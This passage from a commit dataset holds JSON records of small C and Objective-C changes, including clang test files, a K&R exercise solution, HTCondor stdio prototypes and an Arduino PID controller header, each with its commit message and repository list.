cipy,vhaasteren\/scipy,person142\/scipy,vanpact\/scipy,maniteja123\/scipy,Shaswat27\/scipy,andim\/scipy,witcxc\/scipy,apbard\/scipy,trankmichael\/scipy,kleskjr\/scipy,e-q\/scipy,Dapid\/scipy,zxsted\/scipy,niknow\/scipy,sonnyhu\/scipy,futurulus\/scipy,mortada\/scipy,cpaulik\/scipy,piyush0609\/scipy,Srisai85\/scipy,FRidh\/scipy,futurulus\/scipy,sauliusl\/scipy,njwilson23\/scipy,woodscn\/scipy,FRidh\/scipy,scipy\/scipy,teoliphant\/scipy,rgommers\/scipy,ilayn\/scipy,argriffing\/scipy,mtrbean\/scipy,Gillu13\/scipy,Gillu13\/scipy,teoliphant\/scipy,Newman101\/scipy,zxsted\/scipy,mhogg\/scipy,mikebenfield\/scipy,behzadnouri\/scipy,haudren\/scipy,felipebetancur\/scipy,lhilt\/scipy,rmcgibbo\/scipy,maniteja123\/scipy,futurulus\/scipy,fredrikw\/scipy,chatcannon\/scipy,jseabold\/scipy,surhudm\/scipy,pbrod\/scipy,njwilson23\/scipy,anntzer\/scipy,josephcslater\/scipy,njwilson23\/scipy,ogrisel\/scipy,vigna\/scipy,tylerjereddy\/scipy,fredrikw\/scipy,maniteja123\/scipy,gertingold\/scipy,cpaulik\/scipy,grlee77\/scipy,grlee77\/scipy,piyush0609\/scipy,pnedunuri\/scipy,ilayn\/scipy,Srisai85\/scipy,pyramania\/scipy,mhogg\/scipy,Kamp9\/scipy,Stefan-Endres\/scipy,jseabold\/scipy,WarrenWeckesser\/scipy,raoulbq\/scipy,lhilt\/scipy,lukauskas\/scipy,apbard\/scipy,gertingold\/scipy,kalvdans\/scipy,aeklant\/scipy,pbrod\/scipy,jsilter\/scipy,petebachant\/scipy,Kamp9\/scipy,mtrbean\/scipy,argriffing\/scipy,juliantaylor\/scipy,andyfaff\/scipy,Eric89GXL\/scipy,haudren\/scipy,mtrbean\/scipy,hainm\/scipy,hainm\/scipy,pyramania\/scipy,aman-iitj\/scipy,pnedunuri\/scipy,gertingold\/scipy,vhaasteren\/scipy,mdhaber\/scipy,argriffing\/scipy,gdooper\/scipy,sriki18\/scipy,ChanderG\/scipy,zerothi\/scipy,ilayn\/scipy,zaxliu\/scipy,befelix\/scipy,Gillu13\/scipy,matthewalbani\/scipy,larsmans\/scipy,mhogg\/scipy,mtrbean\/scipy,aeklant\/scipy,Gillu13\/scipy,anielsen001\/scipy,nonhermitian\/scipy,vigna\/scipy,trankmichael\/scipy,jamestwebber\/scipy,Gillu13\/scipy,zerothi\/scipy,kalvdans\/scipy,rmcgibbo\/scipy,richardotis\/scipy,WarrenWeckesser\/scipy,aarchiba\/scipy,person142\/scipy,woodscn\/scipy,pbrod\/scipy,efiring\/scipy,gef756\/scipy,ortylp\/scipy,WillieMaddox\/scipy,pizzathief\/scipy,arokem\/scipy,zaxliu\/scipy,vanpact\/scipy,fredrikw\/scipy,ortylp\/scipy,Stefan-Endres\/scipy,vanpact\/scipy,anielsen001\/scipy,e-q\/scipy,petebachant\/scipy,mhogg\/scipy,fredrikw\/scipy,pschella\/scipy,ales-erjavec\/scipy,WillieMaddox\/scipy,anielsen001\/scipy,ndchorley\/scipy,ortylp\/scipy,vanpact\/scipy,ilayn\/scipy,anielsen001\/scipy,fredrikw\/scipy,kalvdans\/scipy,sargas\/scipy,trankmichael\/scipy,jakevdp\/scipy,felipebetancur\/scipy,Srisai85\/scipy,mingwpy\/scipy,kalvdans\/scipy,behzadnouri\/scipy,Gillu13\/scipy,Srisai85\/scipy,futurulus\/scipy,jseabold\/scipy,ogrisel\/scipy,anntzer\/scipy,chatcannon\/scipy,hainm\/scipy,efiring\/scipy,tylerjereddy\/scipy,perimosocordiae\/scipy,petebachant\/scipy,ortylp\/scipy,pbrod\/scipy,e-q\/scipy,nonhermitian\/scipy,raoulbq\/scipy,andyfaff\/scipy,raoulbq\/scipy,rgommers\/scipy,ChanderG\/scipy,gdooper\/scipy,minhlongdo\/scipy,Eric89GXL\/scipy,Kamp9\/scipy,petebachant\/scipy,woodscn\/scipy,Dapid\/scipy,argriffing\/scipy,futurulus\/scipy,scipy\/scipy,endolith\/scipy,richardotis\/scipy,gdooper\/scipy,gef756\/scipy,perimosocordiae\/scipy,nmayorov\/scipy,Srisai85\/scipy,sonnyhu\/scipy,grlee77\/scipy,jor-\/scipy,vberaudi\/scipy,jonycgn\/scipy,maciejkula\/scipy,pnedunuri\/scipy,zaxliu\/scipy,fernand\/scipy,newemailjdm\/scipy,grlee77\/scipy,chatcannon\/scipy,pizzathief\/scipy,matthew-brett\/scipy,jamestwebber\/scipy,nvoron23\/scipy,dch312\/scipy,josephcslater\/scipy,Newman101\/scipy,jonycgn\/scipy,jamestwebber\/scipy,sriki18\/scipy,mortada\/scipy,woodscn\/scipy,pbrod\/scipy,WarrenWeckesser\/scipy,woodscn\/scipy,argriffing\/scipy,ndchorley\/scipy,ndchorley\/scipy,ogrisel\/scipy,josephcslater\/scipy,tylerjereddy\/scipy,apbard\/scipy,bkendzior\/scipy,anntzer\/scipy,giorgiop\/scipy,haudren\/scipy,arokem\/scipy,jonycgn\/scipy,WillieMaddox\/scipy,vberaudi\/scipy,andim\/scipy,niknow\/scipy,sauliusl\/scipy,dch312\/scipy,sriki18\/scipy,surhudm\/scipy,mdhaber\/scipy,zerothi\/scipy,teoliphant\/scipy,endolith\/scipy,behzadnouri\/scipy,jsilter\/scipy,person142\/scipy,scipy\/scipy,ndchorley\/scipy,larsmans\/scipy,person142\/scipy,jamestwebber\/scipy,jjhelmus\/scipy,jseabold\/scipy,mtrbean\/scipy,lukauskas\/scipy,andyfaff\/scipy,larsmans\/scipy,Dapid\/scipy,perimosocordiae\/scipy,matthew-brett\/scipy,fredrikw\/scipy,mikebenfield\/scipy,nonhermitian\/scipy,ortylp\/scipy,gef756\/scipy,aman-iitj\/scipy,rgommers\/scipy,niknow\/scipy,jjhelmus\/scipy,rmcgibbo\/scipy,sauliusl\/scipy,Dapid\/scipy,efiring\/scipy,sargas\/scipy,WillieMaddox\/scipy,efiring\/scipy,nvoron23\/scipy,Stefan-Endres\/scipy,Stefan-Endres\/scipy,efiring\/scipy,tylerjereddy\/scipy,ChanderG\/scipy,josephcslater\/scipy,lukauskas\/scipy,maciejkula\/scipy,anielsen001\/scipy,felipebetancur\/scipy,mdhaber\/scipy,vhaasteren\/scipy,tylerjereddy\/scipy,giorgiop\/scipy,bkendzior\/scipy,chatcannon\/scipy,Kamp9\/scipy,richardotis\/scipy,sriki18\/scipy,maniteja123\/scipy,raoulbq\/scipy,piyush0609\/scipy,Newman101\/scipy,mikebenfield\/scipy,ChanderG\/scipy,giorgiop\/scipy,arokem\/scipy,giorgiop\/scipy,gdooper\/scipy,niknow\/scipy,ortylp\/scipy,dominicelse\/scipy,matthew-brett\/scipy,minhlongdo\/scipy,zerothi\/scipy,Eric89GXL\/scipy,mtrbean\/scipy,aarchiba\/scipy,Shaswat27\/scipy,scipy\/scipy,hainm\/scipy,aman-iitj\/scipy,rmcgibbo\/scipy,lhilt\/scipy,fernand\/scipy,gef756\/scipy,mingwpy\/scipy,maniteja123\/scipy,larsmans\/scipy,dch312\/scipy,sriki18\/scipy,Shaswat27\/scipy,mortonjt\/scipy,pnedunuri\/scipy,arokem\/scipy,befelix\/scipy,jjhelmus\/scipy,andyfaff\/scipy,nvoron23\/scipy,pschella\/scipy,Newman101\/scipy,FRidh\/scipy,nmayorov\/scipy,teoliphant\/scipy,jakevdp\/scipy,pschella\/scipy,jseabold\/scipy,kleskjr\/scipy,Newman101\/scipy,mortada\/scipy,ndchorley\/scipy,ales-erjavec\/scipy,ogrisel\/scipy,endolith\/scipy,jsilter\/scipy,gertingold\/scipy,Shaswat27\/scipy,Newman101\/scipy,efiring\/scipy,matthewalbani\/scipy,minhlongdo\/scipy,cpaulik\/scipy,rmcgibbo\/scipy,mikebenfield\/scipy,Shaswat27\/scipy,newemailjdm\/scipy,piyush0609\/scipy,anielsen001\/scipy,maniteja123\/scipy,vigna\/scipy,ChanderG\/scipy,josephcslater\/scipy,zaxliu\/scipy,endolith\/scipy,sargas\/scipy,bkendzior\/scipy,mgaitan\/scipy,gdooper\/scipy,kalvdans\/scipy,zaxliu\/scipy,surhudm\/scipy,fernand\/scipy,arokem\/scipy,pizzathief\/scipy,aeklant\/scipy,kleskjr\/scipy,mgaitan\/scipy,Shaswat27\/scipy,zxsted\/scipy,teoliphant\/scipy,aarchiba\/scipy,trankmichael\/scipy,nmayorov\/scipy,dch312\/scipy,gertingold\/scipy,vberaudi\/scipy,endolith\/scipy,mdhaber\/scipy,zxsted\/scipy,jjhelmus\/scipy,mortonjt\/scipy,andim\/scipy,jonycgn\/scipy,dominicelse\/scipy,njwilson23\/scipy,pizzathief\/scipy,Eric89GXL\/scipy,nonhermitian\/scipy,mhogg\/scipy,FRidh\/scipy,vanpact\/scipy,WarrenWeckesser\/scipy,WarrenWeckesser\/scipy,witcxc\/scipy,njwilson23\/scipy,mortada\/scipy,haudren\/scipy,jonycgn\/scipy,surhudm\/scipy,andim\/scipy,e-q\/scipy,larsmans\/scipy,perimosocordiae\/scipy,newemailjdm\/scipy,scipy\/scipy,sonnyhu\/scipy,mingwpy\/scipy,Srisai85\/scipy,niknow\/scipy,nonhermitian\/scipy,mortonjt\/scipy,ndchorley\/scipy,jonycgn\/scipy,scipy\/scipy,WillieMaddox\/scipy,Eric89GXL\/scipy,jjhelmus\/scipy,befelix\/scipy"}
{"commit":"9ae82cb0b9b30a8276acf36d7abd6fdaefbdaab8","old_file":"test\/CodeGen\/preserve-as-comments.c","new_file":"test\/CodeGen\/preserve-as-comments.c","old_contents":"\/\/ RUN: %clang_cc1 -S -fno-preserve-as-comments %s -o - | FileCheck %s --check-prefix=NOASM --check-prefix=CHECK\n\/\/ RUN: %clang_cc1 -S %s -o - | FileCheck %s --check-prefix=ASM --check-prefix=CHECK\n\n\/\/ CHECK-LABEL: main\n\/\/ CHECK: #APP\n\/\/ ASM: #comment\n\/\/ NOASM-NOT: #comment\n\/\/ CHECK: #NO_APP\nint main() {\n  __asm__(\"\/*comment*\/\");\n  return 0;\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -S -triple=x86_64-unknown-unknown -fno-preserve-as-comments %s -o - | FileCheck %s --check-prefix=NOASM --check-prefix=CHECK\n\/\/ RUN: %clang_cc1 -S %s -triple=x86_64-unknown-unknown -o - | FileCheck %s --check-prefix=ASM --check-prefix=CHECK\n\n\/\/ CHECK-LABEL: main\n\/\/ CHECK: #APP\n\/\/ ASM: #comment\n\/\/ NOASM-NOT: #comment\n\/\/ CHECK: #NO_APP\nint main() {\n  __asm__(\"\/*comment*\/\");\n  return 0;\n}\n","subject":"Add target triple in test","message":"Add target triple in test\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@276915 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"b3dff4d84df5f1b4b0ad59ac760c32f531321d32","old_file":"test\/CodeGen\/link-bitcode-file.c","new_file":"test\/CodeGen\/link-bitcode-file.c","old_contents":"\/\/ RUN: %clang_cc1 -triple i386-pc-linux-gnu -DBITCODE -emit-llvm-bc -o %t.bc %s\n\/\/ RUN: %clang_cc1 -triple i386-pc-linux-gnu -mlink-bitcode-file %t.bc -O3 -emit-llvm -o - %s | FileCheck -check-prefix=CHECK-NO-BC %s\n\/\/ RUN: not %clang_cc1 -triple i386-pc-linux-gnu -DBITCODE -mlink-bitcode-file %t.bc -O3 -emit-llvm -o - %s 2>&1 | FileCheck -check-prefix=CHECK-BC %s\n\nint f(void);\n\n#ifdef BITCODE\n\n\/\/ CHECK-BC: 'f': symbol multiply defined\nint f(void) {\n  return 42;\n}\n\n#else\n\n\/\/ CHECK-NO-BC-LABEL: define i32 @g\n\/\/ CHECK-NO-BC: ret i32 42\nint g(void) {\n  return f();\n}\n\n\/\/ CHECK-NO-BC-LABEL: define i32 @f\n\n#endif\n","new_contents":"\/\/ RUN: %clang_cc1 -triple i386-pc-linux-gnu -DBITCODE -emit-llvm-bc -o %t.bc %s\n\/\/ RUN: %clang_cc1 -triple i386-pc-linux-gnu -mlink-bitcode-file %t.bc -O3 -emit-llvm -o - %s | FileCheck -check-prefix=CHECK-NO-BC %s\n\/\/ RUN: not %clang_cc1 -triple i386-pc-linux-gnu -DBITCODE -mlink-bitcode-file %t.bc -O3 -emit-llvm -o - %s 2>&1 | FileCheck -check-prefix=CHECK-BC %s\n\nint f(void);\n\n#ifdef BITCODE\n\n\/\/ CHECK-BC: fatal error: cannot link module {{.*}}'f': symbol multiply defined\nint f(void) {\n  return 42;\n}\n\n#else\n\n\/\/ CHECK-NO-BC-LABEL: define i32 @g\n\/\/ CHECK-NO-BC: ret i32 42\nint g(void) {\n  return f();\n}\n\n\/\/ CHECK-NO-BC-LABEL: define i32 @f\n\n#endif\n","subject":"Make this test a bit stricter by checking clang's output too.","message":"Make this test a bit stricter by checking clang's output too.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@220604 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"d6b7b885b5cdd4ef12b2ba4f4b071dddbc092c4a","old_file":"exercise112.c","new_file":"exercise112.c","old_contents":"","new_contents":"\/* Exercise 1-12: Write a program that prints its input one word per line. *\/\n\n#include <stdbool.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint main(int argc, char **argv)\n{\n  int16_t character;\n  bool in_whitespace;\n  while ((character = getchar()) != EOF) {\n    if ((character == ' ') || (character == '\\t')) {\n      if (in_whitespace == false) {\n        putchar('\\n');\n        in_whitespace = true;\n      }\n    } else {\n      putchar(character);\n      in_whitespace = false;\n    }\n  }\n  return EXIT_SUCCESS;\n}\n","subject":"Add solution to Exercise 1-12.","message":"Add solution to Exercise 1-12.\n","lang":"C","license":"unlicense","repos":"damiendart\/knr-solutions,damiendart\/knr-solutions,damiendart\/knr-solutions"}
{"commit":"ca910100761ba025d9b7156d1030184a42bdd486","old_file":"test\/Analysis\/null-deref-path-notes.c","new_file":"test\/Analysis\/null-deref-path-notes.c","old_contents":"\/\/ RUN: %clang_analyze_cc1 -w -x c -analyzer-checker=core -analyzer-output=text -verify %s\n\n\/\/ Avoid the crash when finding the expression for tracking the origins\n\/\/ of the null pointer for path notes. Apparently, not much actual tracking\n\/\/ needs to be done in this example.\nvoid pr34373() {\n  int *a = 0; \/\/ expected-note{{'a' initialized to a null pointer value}}\n  (a + 0)[0]; \/\/ expected-warning{{Array access results in a null pointer dereference}}\n              \/\/ expected-note@-1{{Array access results in a null pointer dereference}}\n}\n","new_contents":"\/\/ RUN: %clang_analyze_cc1 -w -x c -analyzer-checker=core -analyzer-output=text -verify %s\n\n\/\/ Avoid the crash when finding the expression for tracking the origins\n\/\/ of the null pointer for path notes.\nvoid pr34373() {\n  int *a = 0; \/\/ expected-note{{'a' initialized to a null pointer value}}\n  (a + 0)[0]; \/\/ expected-warning{{Array access results in a null pointer dereference}}\n              \/\/ expected-note@-1{{Array access results in a null pointer dereference}}\n}\n","subject":"Fix an outdated comment in a test. NFC.","message":"[analyzer] Fix an outdated comment in a test. NFC.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@314298 91177308-0d34-0410-b5e6-96231b3b80d8\n(cherry picked from commit a0d7ea7ad167665974775befd200847e5d84dd02)\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"731240cc5d0e396fd67f9ca85086226a1d34c8de","old_file":"test\/CFrontend\/2002-07-30-UnionTest.c","new_file":"test\/CFrontend\/2002-07-30-UnionTest.c","old_contents":"","new_contents":"union X;\nstruct Empty {};\nunion F {};\nunion Q { union Q *X; };\nunion X {\n  char C;\n  int A, Z;\n  long long B; \n  void *b1;\n  struct { int A; long long Z; } Q;\n};\n\nunion X foo(union X A) {\n\tA.C = 123;\n\tA.A = 39249;\n\t\/\/A.B = (void*)123040123321;\n\tA.B = 12301230123123LL;\n\tA.Z = 1;\n\treturn A;\n}\n","subject":"Add test of newly checked in Union support!","message":"Add test of newly checked in Union support!\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@3151 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm"}
{"commit":"b35bac92d94f94f957ff680de05f36a0100219c0","old_file":"Classes\/EEEOperationCenter.h","new_file":"Classes\/EEEOperationCenter.h","old_contents":"#import <Foundation\/Foundation.h>\n\n#define EEEPrepareBlockSelf() __weak __typeof__(self) __weakSelf = self\n#define EEEUseBlockSelf() __typeof__(__weakSelf) __weak blockSelf = __weakSelf\n\n@class EEEInjector;\n@class EEEOperation;\n\n@interface EEEOperationCenter : NSObject\n\n@property(nonatomic, strong) NSOperationQueue *mainCommandQueue;\n@property(nonatomic, strong) NSOperationQueue *backgroundCommandQueue;\n@property NSInteger maxConcurrentOperationCount;\n\n+ (EEEOperationCenter *)currentOperationCenter;\n\n+ (EEEOperationCenter *)setCurrentOperationCenter:(EEEOperationCenter *)defaultCenter;\n\n- (id)initWithInjector:(EEEInjector *)injector;\n\n- (id)queueOperation:(EEEOperation *)operation;\n\n- (id)inlineOperation:(EEEOperation *)operation withTimeout:(NSTimeInterval)seconds;\n\n@end","new_contents":"#import <Foundation\/Foundation.h>\n\n#define EEEPrepareBlockSelf() __weak __typeof__(self) __weakSelf = self\n#define EEEUseBlockSelf() __strong __typeof__(__weakSelf) blockSelf = __weakSelf\n\n@class EEEInjector;\n@class EEEOperation;\n\n@interface EEEOperationCenter : NSObject\n\n@property(nonatomic, strong) NSOperationQueue *mainCommandQueue;\n@property(nonatomic, strong) NSOperationQueue *backgroundCommandQueue;\n@property NSInteger maxConcurrentOperationCount;\n\n+ (EEEOperationCenter *)currentOperationCenter;\n\n+ (EEEOperationCenter *)setCurrentOperationCenter:(EEEOperationCenter *)defaultCenter;\n\n- (id)initWithInjector:(EEEInjector *)injector;\n\n- (id)queueOperation:(EEEOperation *)operation;\n\n- (id)inlineOperation:(EEEOperation *)operation withTimeout:(NSTimeInterval)seconds;\n\n@end","subject":"Fix the two-step-macro behavior, tests pass","message":"Fix the two-step-macro behavior, tests pass","lang":"C","license":"unlicense","repos":"epologee\/EEEOperationCenter,epologee\/EEEOperationCenter,epologee\/EEEOperationCenter"}
{"commit":"60f44581f2077d3f5a00cad006a2bb1c86d80f2a","old_file":"src\/condor_includes\/condor_fix_stdio.h","new_file":"src\/condor_includes\/condor_fix_stdio.h","old_contents":"#ifndef FIX_STDIO_H\n#define FIX_STDIO_H\n\n#include <stdio.h>\n\n\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n\/*\n  For some reason the stdio.h on OSF1 fails to provide prototypes\n  for popen() and pclose() if _POSIX_SOURCE is defined.\n*\/\n#if defined(OSF1)\n#if defined(__STDC__) || defined(__cplusplus)\n\tFILE *popen( char *, char * );\n\tint  pclose( FILE *__stream );\n#else\n\tFILE *popen();\n\tint  pclose();\n#endif\n#endif\t\/* OSF1 *\/\n\n\/*\n  For some reason the stdio.h on Ultrix 4.3 fails to provide a prototype\n  for pclose() if _POSIX_SOURCE is defined - even though it does\n  provide a prototype for popen().\n*\/\n#if defined(ULTRIX43)\n#if defined(__STDC__) || defined(__cplusplus)\n\tint  pclose( FILE *__stream );\n#else\n\tint  pclose();\n#endif\n#endif\t\/* ULTRIX43 *\/\n\n#if defined(__cplusplus)\n}\n#endif\n\n\n#endif\n","new_contents":"#ifndef FIX_STDIO_H\n#define FIX_STDIO_H\n\n#include <stdio.h>\n\n\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n\/*\n  For some reason the stdio.h on OSF1 fails to provide prototypes\n  for popen() and pclose() if _POSIX_SOURCE is defined.\n*\/\n#if defined(OSF1)\n#if defined(__STDC__) || defined(__cplusplus)\n\tFILE *popen( char *, char * );\n\tint  pclose( FILE *__stream );\n\textern void     setbuffer(FILE*, char*, int);\n\textern void     setlinebuf(FILE*);\n#else\n\tFILE *popen();\n\tint  pclose();\n\textern void     setbuffer();\n\textern void     setlinebuf();\n#endif\n#endif\t\/* OSF1 *\/\n\n\/*\n  For some reason the stdio.h on Ultrix 4.3 fails to provide a prototype\n  for pclose() if _POSIX_SOURCE is defined - even though it does\n  provide a prototype for popen().\n*\/\n#if defined(ULTRIX43)\n#if defined(__STDC__) || defined(__cplusplus)\n\tint  pclose( FILE *__stream );\n#else\n\tint  pclose();\n#endif\n#endif\t\/* ULTRIX43 *\/\n\n#if defined(__cplusplus)\n}\n#endif\n\n\n#endif\n","subject":"Add prototypes for setbuffer() and setlinebuf(). Questionable as these should probably be replaced with ANSI stype setbuf() calls.","message":"Add prototypes for setbuffer() and setlinebuf().  Questionable as these\nshould probably be replaced with ANSI stype setbuf() calls.\n","lang":"C","license":"apache-2.0","repos":"djw8605\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,htcondor\/htcondor,djw8605\/condor,clalancette\/condor-dcloud,htcondor\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,htcondor\/htcondor,bbockelm\/condor-network-accounting,djw8605\/condor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,htcondor\/htcondor,htcondor\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,zhangzhehust\/htcondor,djw8605\/condor,neurodebian\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/condor,djw8605\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,mambelli\/osg-bosco-marco,neurodebian\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,djw8605\/condor,clalancette\/condor-dcloud,djw8605\/condor,neurodebian\/htcondor"}
{"commit":"5ca658382bf487b2da30a83a3449e16de8e98c36","old_file":"examples\/test.c","new_file":"examples\/test.c","old_contents":"#include <stdio.h>\n#include <string.h>\n#include \"..\/src\/mlist.h\"\n\nint main (int argc, char *argv[]) {\n  \n  mlist_t *list;\n  int *n;\n  char *c;\n  char *s = NULL;\n  const char *name = \"cubicdaiya\";\n  list = mlist_create();\n  n    = mlist_palloc(list, sizeof(int));\n  list = mlist_extend(list);\n  c    = mlist_palloc(list, sizeof(char));\n  list = mlist_extend(list);\n  s    = mlist_palloc(list, strlen(name) + 1);\n  list = mlist_extend(list);\n  *n = 5;\n  *c = 'a';\n  strncpy(s, name, strlen(name) + 1);\n  printf(\"n = %d\\n\", *n);\n  printf(\"c = %c\\n\", *c);\n  printf(\"name = %s\\n\", s);\n  mlist_destroy(list);\n  \n  return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <string.h>\n#include \"mlist.h\"\n\nint main (int argc, char *argv[]) {\n  \n  mlist_t *list;\n  int *n;\n  char *c;\n  char *s = NULL;\n  const char *name = \"cubicdaiya\";\n  list = mlist_create();\n  n    = mlist_palloc(list, sizeof(int));\n  list = mlist_extend(list);\n  c    = mlist_palloc(list, sizeof(char));\n  list = mlist_extend(list);\n  s    = mlist_palloc(list, strlen(name) + 1);\n  list = mlist_extend(list);\n  *n = 5;\n  *c = 'a';\n  strncpy(s, name, strlen(name) + 1);\n  printf(\"n = %d\\n\", *n);\n  printf(\"c = %c\\n\", *c);\n  printf(\"name = %s\\n\", s);\n  mlist_destroy(list);\n  \n  return 0;\n}\n","subject":"Revert \"mv example source code\"","message":"Revert \"mv example source code\"\n\nThis reverts commit 7f0d00f7ff862b812cdf427dc717dee6b02ac84b.\n","lang":"C","license":"bsd-3-clause","repos":"cubicdaiya\/mlist"}
{"commit":"56e734d78f593b0da4fce749ead8c841e3453ba8","old_file":"Source\/DHScatterGraph.h","new_file":"Source\/DHScatterGraph.h","old_contents":"\/\/  Douglas Hill, May 2015\n\/\/  https:\/\/github.com\/douglashill\/DHScatterGraph\n\n#import <DHScatterGraph\/DHScatterGraphLineAttributes.h>\n#import <DHScatterGraph\/DHScatterGraphPointSet.h>\n#import <DHScatterGraph\/DHScatterGraphView.h>\n","new_contents":"\/\/  Douglas Hill, May 2015\n\/\/  https:\/\/github.com\/douglashill\/DHScatterGraph\n\nextern double const DHScatterGraphVersionNumber;\nextern unsigned char const DHScatterGraphVersionString[];\n\n#import <DHScatterGraph\/DHScatterGraphLineAttributes.h>\n#import <DHScatterGraph\/DHScatterGraphPointSet.h>\n#import <DHScatterGraph\/DHScatterGraphView.h>\n","subject":"Add framework version info to umbrella header","message":"Add framework version info to umbrella header\n\nThe values of these constants are provided by Xcode’s automatically generated DerivedSources\/DHScatterGraph_vers.c.\n","lang":"C","license":"mit","repos":"douglashill\/DHScatterGraph"}
{"commit":"e755a1bd1be67de62108b36de65d8efc64dadd1c","old_file":"src\/util\/PIDexternaltime.h","new_file":"src\/util\/PIDexternaltime.h","old_contents":"","new_contents":"#ifndef PIDEXTERNALTIME_H\n#define PIDEXTERNALTIME_H\n#include \"Arduino.h\"\n#include \"util\/PIDparameters.h\"\n\nclass PIDexternaltime{\nprivate:\n    PIDparameters* param;\n    float setPoint;\n    float previous;\n    float acc;\n    boolean stopped;\npublic:\n    PIDexternaltime(PIDparameters* pid): param(pid), setPoint(0),\n                                         previous(0), acc(0),\n                                         stopped(true) {}\n    void tune(PIDparameters* pid){ param = pid; }\n    void clearAccumulator(){ train(0); }\n    void train(float out){\n        acc = constrain(out, param->lowerBound, param->upperBound);\n    }\n    void set(float input){\n        setPoint = input;\n        stopped = false;\n    }\n    void stop() {\n        clearAccumulator();\n        stopped = true;\n    }\n    \/**\n     * Update the PID controller\n     * current - the current process value\n     * ms - milliseconds since last update\n     *\/\n    float update(float current, float ms){\n        uint32_t cTime = micros();\n        if(stopped) {\n            time = cTime;\n            previous = 0;\n            return 0;\n        }\n\n        const float dt = min(ms\/1000.0, 1.0); \/\/convert to seconds, cap at 1\n\n        const float error  = setPoint-current;\n        const float newAcc = acc + param->I*error*dt;\n\n        const float output = param->P * error\n                           + newAcc\n                           + param->D * (previous-current)\/dt;\n\n        previous = current;\n\n        if (output > param->upperBound) {\n            acc = min(acc, newAcc); \/\/only let acc decrease\n            return param->upperBound;\n        } else if (output < param->lowerBound) {\n            acc = max(acc, newAcc); \/\/only let acc increase\n            return param->lowerBound;\n        }\n        \/\/to prevent integral windup, we only change the integral if the output\n        \/\/is not fully saturated\n        acc = newAcc;\n\n        return output;\n    }\n};\n\n#endif\n","subject":"Add a PID implementation that doesn't independently keep track of time","message":"Add a PID implementation that doesn't independently keep track of time\n","lang":"C","license":"apache-2.0","repos":"MINDS-i\/MINDS-i-Drone,MINDS-i\/MINDS-i-Drone"}
